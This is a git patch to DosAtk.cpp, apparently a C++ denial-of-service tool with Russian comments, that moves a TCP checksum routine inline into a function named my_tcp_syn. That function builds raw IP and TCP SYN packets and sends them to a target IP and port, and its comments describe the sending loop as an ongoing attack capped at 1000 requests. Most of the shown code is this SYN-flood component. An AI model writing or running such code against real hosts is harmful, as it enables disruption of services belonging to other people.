From 9edf137d25d65fb0ec4df9400738fdec6a324d3a Mon Sep 17 00:00:00 2001 From: Urmipie Date: Mon, 7 Apr 2025 20:57:00 +0300 Subject: [PATCH] chore: moved check_sum inside tcp_syn --- src/DosAtk.cpp | 86 ++++++++++++++++++++++---------------------------- 1 file changed, 38 insertions(+), 48 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 9a78688..a6f4859 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -423,60 +423,24 @@ int my_dns() printf("end my_dns"); // debug } -unsigned short checksum(void *data, int len) -{ - /** - * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) - * - * Параметры: - * data - указатель на данные пакета - * len - длина данных в байтах - * - * Возвращает: - * 16-битную инвертированную контрольную сумму - */ - // === Объявление локальных переменных === - uint16_t *ptr; // Указатель для чтения 16-битных слов - unsigned long sum; // Аккумулятор для суммы - uint8_t *byte_ptr; // Указатель для чтения одиночного байта - // === Инициализация переменных === - ptr = (uint16_t *)data; // Инициализируем указатель на данные - sum = 0; // Начальное значение суммы - // === Основная логика процедуры === - // Суммируем 16-битные слова - while (len > 1) { - sum += *ptr++; // Добавляем текущее слово и перемещаем указатель - len -= 2; // Уменьшаем счетчик оставшихся байт - } - if (len == 1) { // Если остался непарный байт, добавляем его в сумму - byte_ptr = (uint8_t *)ptr; - sum += *byte_ptr; - } - sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) - return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму -} - - -int my_tcp_syn() -{ +int my_tcp_syn() { /* - * Отправляет TCP SYN запрос на указанный IP и порт + * Отправляет TCP SYN запрос на указанный IP и порт * status: - * 0 - запрос успешно отправлен (атака продолжается) - * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания raw-сокета - * -202 - ошибка отправки SYN-пакета + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета */ printf("start my_tcp_syn"); // debug - // === Объявление локальных переменных === int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели // Параметры подключения - uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + uint16_t target_port; // Порт цели (в сетевом порядке байт) // Структуры заголовков struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета @@ -491,6 +455,12 @@ int my_tcp_syn() // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // Переменные для встроенного расчета контрольной суммы + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; // === Инициализация переменных === sock = -1; @@ -515,7 +485,10 @@ int my_tcp_syn() // 3. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; - inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + close(sock); + return -202; + } // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); @@ -546,7 +519,24 @@ int my_tcp_syn() }; memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // Встроенный расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_sum = 0; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); @@ -554,7 +544,7 @@ int my_tcp_syn() // 8. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, - (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; return -202; } else { @@ -566,7 +556,7 @@ int my_tcp_syn() return 2; } - + close(sock); printf("end my_tcp_syn"); // debug return 0; @@ -801,4 +791,4 @@ int main(int arg_ctr, char **arg_ptr) } return 0; // Возвращаем код успешного завершения -} +} \ No newline at end of file